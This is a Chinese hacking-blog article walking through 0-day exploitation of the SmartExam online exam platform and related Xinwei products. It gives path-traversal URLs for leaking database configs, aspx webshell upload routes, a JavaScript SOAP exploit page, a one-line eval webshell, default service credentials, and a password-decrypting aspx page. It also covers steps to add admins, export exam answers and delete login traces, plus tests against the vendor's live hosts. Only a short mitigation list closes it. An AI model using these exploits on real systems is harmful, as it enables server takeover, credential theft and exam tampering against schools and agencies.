探索黑客技术攻防,实战研究与安全创新

导航菜单

如履薄冰的新为在线 0Day漏洞分析

随着网络时代的到来,我们的学习模式受到了前所未有的冲击,在线学习、培训以及考试作为一种新型的学习模式已经悄然兴起,我们的学习不再受时间和空间的限制,你可以根据自己的时间合理安排学习计划,而且足不出户就可以参加统一考试。

深圳新为成立于 2003年,作为目前中国最大的学习管理软件提供商之一(笔者按:此评价出自新为官网),时至今日,新为主要研发的产品有SmartLearning学习发展系统、SmartExam在线考试系统、SmartBOS学习运营系统等,成功案例涉及政府机构、税务系统、公安系统、能源交通、高等院校以及电信、金融、医疗、IT等众多行业。

SmartExam在线考试系统(以下简称SmartExam)是国内市场占有率最高的通用化网络考试软件,主要有 2005、2008、2009、2010几种版本,如图1-3,本文重点分析SmartExam最新 0Day漏洞,最后延伸到   SmartLearning、SmartBOS等系统,Google搜索关键字“nwc_755_newvexam”结果如图4。

图片1.png

图片2.png

系统安全

因为 SmartExam是基于微软.NET平台开发的商业软件,而不是免费的开源软件,所以本文所涉及的内容仅供技术探讨和系统修补,请勿用于破解攻击等非法用途。也因此,虽然笔者在互联网中仔细地百度、Google和Goobye(搜索ftp资源),都没有下载到最新的2010版本,只获得到 SmartExam 2008,尽管是一款数年前的东东,但是通过分析,我们也大致

可以窥一斑见全豹,进而获得通往曙光的钥匙。要想系统分析SmartExam,就必须使用Reflector软件和Reflector.FileDisassembler插件进行反编译,目前Reflector软件已经开始收费,以前免费版本运行时会提示已过期,并且直接删除可执行文件!破解的方法是修改系统时间为 2004年的某个时间,但是退出时还是会删除可执行文件,所以需要备份压缩包。通过源码,我们可以分析出SmartExam软件注册流程,如图5,进一步分析GetProductInfo()函数可以解密新为注册文件的数据格式以及加密方式等,本文不做详细讨论。

图片3.png

SmartExam采用了多种技术架构,整体的安全性能比较高的,较好地防止注入等漏洞,功能更加强大,性能更加稳定,同时具备更好的扩展性,其优点的确很多。但是也可能是新为十分在意软件的功能和性能,对产品安全性有些疏忽,导致其安全性脆如纸张,一捅即破,影响到从SmartExam到SmartLearning、SmartBOS等几乎所有新为产品。用户权限验证方式

如果没有登录用户,新为不允许对aspx页面随意访问,当用户访问除IgnoredUrl以外的其他页面时,会将用户的访问重定向为登录页面LoginUrl,默认为

“/customize/nwc_755_newvexam/login/login.aspx”。查看网站根目录中的“newv.sso.dll.config”文件内容,如图6,中“IgnoredUrl”值所设置的页面是可以忽略的页面,这些页面即使没有登录用户也可以直接访问。

图片4.png

任意下载漏洞:DownloadFileContent.aspx。反编译的DownloadFileContent.cs源码如图7,首先获取外部变量fileName,然后调用DownLoadFile函数下载文件,其中WebServerFileRootPath默认为“/fileroot”目录,可以使用“..”跳转,于是下载License.ncer文件(产品授权文件)的链接为“

/module/DownloadFileContent.aspx?fileName=../fileroot/License.ncer”,如图8。

图片5.png

还可以下载Log目录中的日志文件以及bin目录的dll文件,甚至可以下载到newv.data.dll.config等,下载链接为

“/module/DownloadFileContent.aspx?fileName=../newv.data.dll.config”,如图9,从newv.data.dll.config文件中获得MSSQL连接参数,如图10,像这样的设置,我们可以直接访问到MSSQL数据库服务器,获得网站数据,如图11,其中密文“FE24W1UJNg1QedCl+4dKFw==”的明文为“123456”。

图片6.png

甚至还可以使用本地MSSQL企业管理器注册新的“SQLServer组”,如图12,在“安全性——登录”获得该MSSQL服务器中所有登录名和数据库,必要时可以进行暴力破解。

图片7.png

当然下载config文件成功率不会很高,因为这还与服务器设置有关。此外还有ExerciseByQuestion.aspx、ExamineByQuestion.aspx等页面不需要登录就可以直接访问,本文不做深入分析。后台页面上传漏洞仍然是权限验证的问题,因为新为的后台页面对管理员验证不足(几乎没有验证),导致只要登录普通用户就可以任意访问后台页面,比如“/module/ResFileManager.aspx”、

“/framework/HtmlEditor/HtmlEditRes/FileUpload.aspx”、

“/fileservice/FileUpload.aspx”、“/fileservice/SingleFileUpload.aspx”

“/user/framework/UserResFileManager.aspx(2010版本的文件)”等,SmartExam所有版本均受此漏洞影响。浏览目录。使用链接“/module/SelectFileOnFileServer.aspx?TargetRootPath=/../”

和“/module/ResFileManager.aspx?TargetRootPath=/../”等,可以跨目录浏览,如图13,图14,如果修改TargetRootPath变量为绝对路径,比如“d:/、c:/”等,还可以浏览其它分区或目录

图片8.png

ResFileManager.aspx上传文件。利用链“/module/ResFileManager.aspx?TargetRootPath=/../”不但可以跨目录浏览,还可以直接上传aspx木马文件,如图15,图16。注意:1)使用“TargetRootPath=/../”跳转目录到网站根目录,因为默认上传目录fileroot不能解析aspx,还可以使用“创建”目录名类似“/../temp”的目录,达到跨目录上传文件的目的,演示略;2)使用“IgnoredUrl”值所设置的文件名格式,如“*password.aspx”等,否则必须登录SmartExam才可以访问上传的aspx文件;3)上传页面其实是“/fileservice/SingleFileUpload.aspx”页面,如图17;4)可以对目录或文件进行“删除”、“更名”等操作,这样即使管理员在后台设置“禁止上传的文件后缀名”包含了“aspx”(详见后文),我们依然可以上传jpg等文件,然后“更名”扩展名为aspx,还可以利用“上传自解压文件”上传aspx文件。

图片9.png

HtmlEditor.aspx高级编辑器上传文件。访问链接“/framework/HtmlEditor/HtmlEditor.aspx?FileRootPath=/../”打开“高级编辑器”页面,利用“插入附件”上传aspx文件,如图18。

图片10.png

注意:1)使用“FileRootPath=/../”,文件将被上传到网站根目录;2)使用“HTML”从源码中获得上传后的文件名;3)“插入附件”实际调用的是“/framework/HtmlEditor/HtmlEditRes/ftb.insertattachment.aspx”页面文件。

FileUpload.aspx上传文件。直接访问“/fileservice/FileUpload.aspx”,页面出错,如图19,这是因为没有提交file对象实例,只要我们外部提交file对象即可。

图片11.png

译文件fileservice_FileUpload.cs源码,如图20,可以一次上传多个文件,还可以使用FilePath变量跳转目录,而且没有限制上传文件的类型!

图片12.png

提交页面如图21,源码如图22,上传后的文件名使用“*Password.aspx”格式,保证不登录SmartExam用户可以直接访问,上传成功后页面返回“Succeed”,如图23。

图片13.png

由于SmartExam2010版本允许直接访问FileUpload.aspx页面,所以在不登录情况下,就能秒杀SmartExam!

asmx文件漏洞可能大家认为上节涉及到的漏洞危害不大,毕竟访问后台页面起码必须登录用户,而这样对系统的危害也仅限于“内部人员”,因为SmartExam默认不允许注册新用户,但是在本节中笔者将爆出asmx漏洞,足以颠覆新为的安全防线。

asmx是WEB服务文件,属于B/S形式,用SOAP方式访问,用XML方式返回数据。SmartExam允许直接访问“*.asmx*”,并且存在多个asmx文件,SmartExam2010包含的asmx文件如图24,而2008版本仅包含其中FileManage.asmx、UserInterface.asmx、ExamInterface.asmx等文件。

图片14.png

FileManage.asmx漏洞。顾名思义,该文件主要用于文件的上传、更名、删除等操作,直接访问结果如图25,点击相应的操作(operations)函数,比如“GetLogicalDrives”,获得SOAP1.1或1.2方式的调用和返回数据格式,如图26。

图片15.png

SOAP采用了广泛使用的两个协议:HTTP和XML,可以简单理解为:以HTTP方式提交XML格式数据。SOAP1.1的数据格式如下,其中斜体部分是固定不变的,黑体部分是操作函数的调用参数或返回数据,GetLogicalDrives为获得本地磁盘分区函数,没有参数。


?xmlversion=1.0encoding=utf-8?
soap:Envelope
xmlns:xsi=http://*******/
xmlns:xsd=http://*******/
xmlns:soap=http://*******/
soap:Body
GetLogicalDrivesxmlns=*******//
/soap:Body
/soap:Envelope


我们获得XML格式的数据后,剩下的问题就是将这些数据以HTTP方式提交,就可以实现SOAP方式访问WEB服务的asmx文件,最简单的方法是使用XMLHttpRequest对象,页面源码如下:


head
METAhttp-equiv=Content-Typecontent=text/html;charset=GB2312
/head
scriptlanguage=javascript
varXMLHttpReq=false;
//创建XMLHttpRequest对象
functioncreateXMLHttpRequest(){
if(window.XMLHttpRequest){//Mozilla浏览器
XMLHttpReq=newXMLHttpRequest();
}
elseif(window.ActiveXObject){//IE浏览器
try{
XMLHttpReq=newActiveXObject(Msxml2.XMLHTTP);
}catch(e){
try{
XMLHttpReq
=
new
ActiveXObject(Microsoft.XMLHTTP);
}catch(e){}
}
}
}
//发送请求函数
functionsendRequest(){
createXMLHttpRequest();
varxml=createXML();
url=document.getElementById(url).value;
XMLHttpReq.open(POST,
url+/fileservice/FileManage.asmx,
true);
XMLHttpReq.onreadystatechange=processResponse;//指定响应函数
XMLHttpReq.setRequestHeader(Content-Type,text/xml);
XMLHttpReq.send(xml);//发送请求
}
//处理返回信息函数
functionprocessResponse(){
if(XMLHttpReq.readyState==4){//判断对象状态
if(XMLHttpReq.status==200){//信息已经成功返回,开始处理信息
varres=XMLHttpReq.responseText;
document.getElementById(XMLResult).innerHTML=res;
}else{//页面不正常
window.alert(您所请求的页面有异常。);
}
}
}
//创建XML格式数据
functioncreateXML(){
varxml=?xmlversion=\1.0\encoding=\utf-8\?;
xml
=
xml
+
soap:Envelope
xmlns:xsi=\http://*******\
xmlns:xsd=\http://*******\
xmlns:soap=\http://********\;
xml=xml+soap:Body;
//GetLogicalDrives函数获取磁盘分区
//xml=xml+GetLogicalDrivesxmlns=\http://*******/\
/;
//GetFileListFromSpecificPath函数获取文件,“\\”网站绝对路径
xml
=
xml
+

GetFileListFromSpecificPath
xmlns=\http://tempuri.org/\;
xml=xml+
sPath\\..\\/sPath;
xml=xml+
/GetFileListFromSpecificPath;
//GetDirectories函数获取目录
/*
xml=xml+GetDirectoriesxmlns=\http://tempuri.org/\;
xml=xml+sPathC:\\/sPath;
xml=xml+/GetDirectories;
*/
//WriteTextFile函数写文件
/*
xml=xml+WriteTextFilexmlns=\http://tempuri.org/\;
xml
=
xml
+
filePathD:\\tmp-8000\\smartexam2008\\web\\111.aspx/filePath;
xml=xml+fileContentstringhhhhcvvcvc/fileContent;
xml=xml+/WriteTextFile;
*/
xml=xml+/soap:Body;
xml=xml+/soap:Envelope;
returnxml;
}
/script
bodyvLink=#006666link=#003366bgColor=#E0F0F8
formaction=method=postname=myform
ulr:inputtype=textsize=50name=urlvalue=http://br
inputtype=buttonvalue=提交onclick=sendRequest()
/form
Divid=XMLResult
/Div


关键代码是createXML()函数,生成符合SOAP1.1要求的格式数据。该函数调用FileManage.asmx中的操作函数GetFileListFromSpecificPath,获取参数sPath所指定目录中的文件列表,“\\..\\”指定网站根目录,这样我们可以获取到绝对路径。该函数还给出GetLogicalDrives(获取磁盘分区)、GetDirectories(获取目录)、WriteTextFile(写文本文件)等调用示例,请根据实际情况设置其中的参数。最后复制这段源码并另存为FileManage.asmx.html文件,输入URL获得网站的绝对路径,如图27,呵呵,虽然显示的结果不很美观,但是我们的目的已经达到!

图片16.png

操作函数WriteTextFile写文本文件。设置参数filePath为绝对路径“d:\\newway\\smartexam2011\\web\\111password.aspx”,或者相对路径“\\..\\111password.aspx”,文件名使用“*password.aspx”格式;设置参数fileContent为aspx一句话,如“%@PageLanguage=JscriptvalidateRequest=false%%Response.Write(eval(Request.Item[w],unsafe));%

”,特殊字符需要转义,如“”、“”必须用ASCII码值“”、“”代替,提交的一句话成为“%@PageLanguage=\Jscript\validateRequest=\false\%%Response.Write(eval(Request.Item[\w\],\unsafe\));%”,如图28。

图片17.png

提交页面返回“false”,表示没有错误,写文件成功,使用客户端连接如图29。

图片18.png

FileManage.asmx支持的操作函数非常丰富,如CopyFile(复制文件)、DeleteDirectory(删除目录)、DeleteFile(删除文件)、OpenTextFile(读文本文件)、RenameDirectory(重命名目录)、RenameFile(重命名文件)、UnzipFile(解压缩文件)、UploadFile(上传文件,参数buffer值必须是base64Binary类型数据)、SearchFileFromSpecificPath(搜索文件)等等。详细利用,有兴趣的读者可以自己尝试,本文略。UserInterface.asmx漏洞。用户接口文件framework/api/UserInterface.asmx提供了与用户有关的操作函数,如AddDept(添加部门)、DeleteUserByLoginName(根据登录名删除用户)、Encrypto(获得字符串的Encryp编码,如密码)、GetUserInfoByLoginName(根据登录名获得用户信息)、InsertUserInfo(插入用户信息)、Login(登录用户)、UpdateUserInfo(修改用户信息)等,如图30。

图片19.png

在这个用户接口文件中的操作函数几乎都包含两个参数callUserName和callUserPassword,必须通过这两个参数的验证,才能成功调用接口文件中的操作函数,如图31。

图片20.png

在反编译文件NvAppSetting.cs源码中找到参数callUserName和callUserPassword的默认值分别为“system”、“system123456”,如图32。

图片21.png

提交页面UserInterface.asmx.html与FileManage.asmx.html相似,仅在createXML()函数中调用的操作函数略有所不同,如图33,即修改前文的提交页面源码:首先设置参数callUserName和callUserPassword分别为“system”、“system123456”,然后调用操作函数GetUserInfoByLoginName,获取管理员“admin”的用户信息;最后修改“XMLHttpReq.open(POST,url+/fileservice/FileManage.asmx,true);”

为“XMLHttpReq.open(POST,url+/framework/api/UserInterface.asmx,true);”,另存为UserInterface.asmx.html文件。

图片22.png

成功获取到管理员admin的用户信息,如图34。

图片23.png

破解密码。SmartExam使用SymmetricCryptoMethod.Encrypto()函数加密密码,该函数定义在newv.common.dll文件的SymmetricCryptoMethod类中,反编译源码如图35,这个类中不但定义了Encrypto()函数,还定义了Decrypto()函数,因此我们就可以利用Decrypto()函数破解密码。

图片24.png

复制如下代码,保存为Decrypto.aspx文件,上传到SmartExam系统的customize目录中(不登录允许访问“customize/*”,即customize目录中的任意文件),这样便获得一个简易的SmartExam密码破解工具,在地址栏提交需要破解的密文,就可成功破解到明文,


%@PageLanguage=C#Debug=true%
%@ImportNamespace=newv.common%
%@ImportNamespace=System%
%@ImportNamespace=System.Web%
%@ImportNamespace=System.Web.UI%
%@ImportNamespace=System.Web.UI.HtmlControls%
head
titleSmartExam密码破解/title
/head
%
stringstr=Request[str];
Response.Write(破解结果:+SymmetricCryptoMethod.Decrypto(str));
%


一旦获得管理员密码,我们就可以“正大光明”“堂而皇之”地登录系统,并且获得后台管理权限,如图37,注意SmartExam会详细记录用户登录和各种操作日志,包括删除日志的操作,要想完全删除登录痕迹,必须通过第三方工具连接MSSQL数据库执行delete语句。

图片25.png

ExamInterface.asmx提供了与考试相关的接口函数,比如DeleteByExamUid、DeleteByExerciseUid、GetUserExamView等,如图38,调用方式与UserInterface.asmx类似,需要指定参数callUserName和callUserPassword。

图片26.png

2010版本还新增了DistInterface.asmx、SmartClient.asmx等接口文件,如图39,图40,如何应用本文不做讨论。

图片27.png

图片28.png

数据安全

树欲静,而风不止。对于安全隐患人们防之又防,可是各种密码泄漏、用户信息被盗事件时有发生,令人们望而生畏。在线考试系统是不会承载太多的用户信息,我们关注的是系统中的考试信息,比如试题、答案、试卷、成绩等等,一旦系统存在安全隐患,这些信息将显得那么脆弱和苍白。由于SmartExam在验证管理员后台权限方面存在问题,只要用户登录系统,就可以任意访问后台页面文件,因此普通用户也可以完成管理员的操作,比如修改系统设置,管理题库、试卷、用户,新增(导入)管理员等等。SmartExam对于普通用户可以说是“完全开放”,只要给出链接,谁都可以进行管理员的操作。

下面是一些常用的链接:

操作日志:/framework/system/OperateLogList.aspx,如图41。

图片29.png

系统设置:/framework/system/SysManageSettingMain.aspx,如图42。利用这个页面可以设置禁止上传的文件类型,默认为“exe;bat;cmd;scr;com”,还可以修改“调用Web服务的用户名和密码”,即参数callUserName和callUserPassword,默认为“system和system123456”。

图片30.png

题库管理:

/module/OneTabMain.aspx?MenuCode=exam_question_manageMenuLink=exam/question/QuestionManage.aspx,如图43。利用这个页面可以“导出”全部试题及标准答案,可以是excel格式或doc格式。

图片31.png

试卷管理:

/module/OneTabMain.aspx?MenuCode=exam_paper_and_policy_manageMenuLink=exam/paper/PaperAndPolicyManage.aspx,如图44,可以浏览生成的“固定”和“随机”试卷

图片32.png

考试成绩查询:

/module/OneTabMain.aspx?MenuCode=exam_exam_grade_searchMenuLink=exam/exam/ExamGradeSearch.aspx,如图45。

图片33.png

图45

考生成绩查询:

/module/OneTabMain.aspx?MenuCode=exam_user_grade_searchMenuLink=exam/exam/ExamGradeAccountByExamTime.aspx。

考生答卷查看:

/exam/exam/UserPaperPreview.aspx?examGradeUid=528649f6-d06a-40ef-8814-521284f9895d,如图46,只要知道examGradeUid就可以查看答卷,包括答案,然后使用链接“/exam/exam/JudgePaper.aspx?examGradeUid=”或“/exam/exam/JudgePaperByQuestion.aspx?examGradeUid=”进行手工或批量手工评卷。

图片34.png

用户管理:

/module/OneTabMain.aspx?MenuCode=framework_user_manageMenuLink=framework/user/UserManage.aspx,如图47。利用这个页面可以激活“待审批、禁用、锁定”等类型用户,甚至可以通过外部提交“chkIsAdmin=Y”修改用户为管理员。

图片35.png

导入用户:

/module/OneTabMain.aspx?MenuCode=framework_user_manageMenuLink=framework/user/UserImportHZMobile.aspx,如图48。利用这个页面可以新增用户,包括管理员,具体操作:

1)“示例-下载模板”,2)编辑excel文档,添加姓名、登录名、密码(密码可以为空)等用户信息,“是否为管理员”为“Y”,其他项为空,3)“浏览”并“载入”excel文档,4)当“格式检查”无误,如“格式查检完成,没有发现错误格式.”,即可进行“导入”,成功返回“操作完成,成功导入用户[1]人,导入失败[0]人。”。注意:这种方法增加的用户,虽然可以正常登录系统和后台管理,但是因为没有指定用户所属“组织名称”,所以不被管理员管理,也不能管理其他用户,比如“用户管理”、“在线用户”查询不到。

图片36.png

在线用户:

/module/OneTabMain.aspx?MenuCode=framework_online_user_listMenuLink=framework/user/OnlineUserList.aspx。

工具编写

考虑开源共享,笔者放弃Delphi,采用CSS+DIV+JS语言进行工具编写。工具名称:SmartExam0Day漏洞利用工具,设计界面如图49,功能包括:FileUpload.aspx上传漏洞,FileManage.asmx漏洞,UserInterface.asmx漏洞,后台管理常用链接,Decrypto解密源码等。

图片37.png

关键技术:

DIV实现页面的框架栏目;

1.XMLHttpRequest对象的生成、调用以及异常处理等;

2.全局变量url的调用,比如表单form的action、链接的href等动态修改;

3.根据不同的Web服务接口函数的参数,显示和设置不同的参数输入栏;

4.根据不同的Web服务接口函数,生成不同的SOAP格式数据;

5.SOAP方式提交数据,数据的特殊字符需要转义,如“”、“”必须用ASCII码值“”、“”代替;7)返回数据的简单正则处理等;部分代码如图50。使用时,请首先输入以“http://”开头的URL,然后便可以各个功能。

图片38.png

功能扩展。采用CSS+DIV+JS语言的优点是:不需要编程环境进行编译,使用任何文本编辑器就可以修改,而且即改即用。为了方便以后对该工具进行功能扩展,本文给出几处修改要点:

增加栏目,比如增加“Decrypto解密源码”,如图51。

图片39.png

2)“FileManage.asmx漏洞”栏目增加新函数调用,比如“DeleteFile函数删除文件”,第一、二步如图52,第二步需要注意,如果DeleteFile函数只有一个参数sSourceFile,而且表单“form_2”也没有这个参数sSourceFile的输入栏,这时需要新增一个div,名称为“form_2_4”,内容是sSourceFile的input元素;第三步修改函数ShowForm(m,n),实现选择不同的操作函数,显示不同的参数输入栏,如图53,变量m=2表示与“FileManage.asmx漏洞”有关,m=3表示与“UserInterface.asmx漏洞”有关,变量n为select元素当前所选中option的值,即当前所选中的操作函数,n=5表示选中“DeleteFile函数删除文件”,这时只显示参数sSourceFile的输入栏,代码为“document.getElementById(form_2_4).style.display=block;”;第四步修改函数createXML(m,n),生成SOAP格式数据,如图54。

图片40.png

图片41.png

3)“UserInterface.asmx漏洞”栏目增加新函数调用的修改方法类似。

测试实例

本章重点使用“SmartExam0Day漏洞利用工具”(以下简称漏洞利用工具)对新为官网和其它软件进行实测。新为目前共有四种系统提供体验试用,如图55,但是试用账号必需通过申请才能获得,接下来我们使用漏洞利用工具逐一进行实测,不需要用户名直接秒杀。

图片42.png

测试SmartExam网址URL为“http://********”,使用“FileManage.asmx漏洞”直接可以浏览网站目录如图56,甚至可以浏览其他的分区和目录,如图57,毕竟.NET属于Users组权限,呵呵,一个简单的aspx木马。

图片43.png

再使用“UserInterface.asmx漏洞”获得管理员admin密码,并成功破解,如图58。

图片44.png

使用“FileUpload.aspx上传漏洞”,如果页面跳回登录界面,则说明网站不允许直接访问FileUpload.aspx页面,最后使用“WriteTextFile函数写文件”成功,如图59。

图片45.png

测试SmartLearning学习发展系统(http://61.145.163.254:8091)、SmartBOS学习运营系统(http://61.145.163.254:8089)、LiveLearning培训会议系统(http://61.145.163.254:8095)全部通过,可以浏览磁盘分区、目录、文件,还可以写入、删除文件和破解管理员密码,后面两个系统允许不登录用户直接访问FileUpload.aspx页面。

我们注意到新为门户网站的页面链接中存在敏感字符“fileroot”,如图60,SmartExam系统用这个目录保存用户上传文件,通过进一步尝试,我们不难发现新为门户网站的目录结构与SmartExam等系统十分相似,可以这样推测:新为的门户网站使用了SamrtExam系统(或者是某种改版),其核心代码也应该相同。

图片46.png

访问FileUpload.aspx页面,跳转到登录界面,如图61,确认为SmartBOS系统。

图片47.png

直接使用漏洞利用工具进行测试,可以浏览目录和文件、写一句话、获得加密密码,但是在使用Decrypto.aspx破解密码时出现异常错误,页面显示“InvalidlengthforaBase-64chararray.”,如图62。

图片48.png

这是因为密文中存在“+”字符,用Request方式接收,“+”字符会漏掉,将“+”字符改为“%2b”,重新破解密码成功,如图63。

图片49.png

回顾整个漏洞分析过程,从貌似坚不可摧到弱不禁风,好像与我们开了个莫大的玩笑,真可谓天壤之别,而这一切竟源于SmartExam2008——一个数年前的尘封版本。再次证明了开源与安全的辩证关系,也印证了“堡垒最容易从内部被攻破”的哲理。有了SmartExam2008源码,我们可以顺藤摸瓜,对2010等版本也就窥一斑而知全豹,再根据SmartExam按图索骥对新为的其它软件如SmartLearning、SmartBOS等有所了解。同时也反映出几点信息:新为各种版本之间的差异不是很大,包括跨平台之间如SmartLearning、SmartBOS、SmartExam等,这样做虽然研发效率很高,但是安全性能大打折扣,一旦有一款产品出现问题,将蔓延至整个产品体系。本文虽然是从SmartExam2008入手,但是引发的安全问题涉及到新为的整个产品体系,从系统安全到数据安全。考虑到漏洞危害较大,而新为使用dll进行源码保护,普通用户不可能对系统进行深层次的漏洞防护,只能等待新为对产品进行修补升级,这里笔者仅给出一些简单的防护措施,作为应急:1)在后台的系统设置中,给“禁止上传的文件类型”(默认为“exe;bat;cmd;scr;com”)添加“aspx;asmx;asp;asmx;ashx”等文件类型;修改“调用Web服务的用户名和密码”(默认为“system和system123456”);2)对于2010版本,修改newv.sso.dll.config文件,禁止不登录用户直接访问FileUpload.aspx页面;3)删除或更名所有Web服务的asmx文件,如FileManage.asmx、UserInterface.asmx、ExamInterface.asmx、DistInterface.asmx等,一概不留。

由于新为存在跨目录和用户权限验证不严的天生缺陷,导致普通用户可以跨目录上传文件和任意访问后台页面文件。2010版本也仅在“/framework/desktop/Back*.aspx”一些框架页面中判断是否为管理员,其他后台页面文件依然可以任意访问,因此即使做过以上的漏洞防护措施,也无法防止内部用户的非法使用,比如访问后台页面文件,甚至利用ResFileManager.aspx、HtmlEditor.aspx上传文件,然后更名进行挂马。但是这种情况也只是局限在内部用户,危害程度明显减小许多。

文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

(声明:本文涉及的漏洞利用工具仅供学习和研究,请勿用于非法用途,因此引发的法律纠纷与笔者无关。)

相关推荐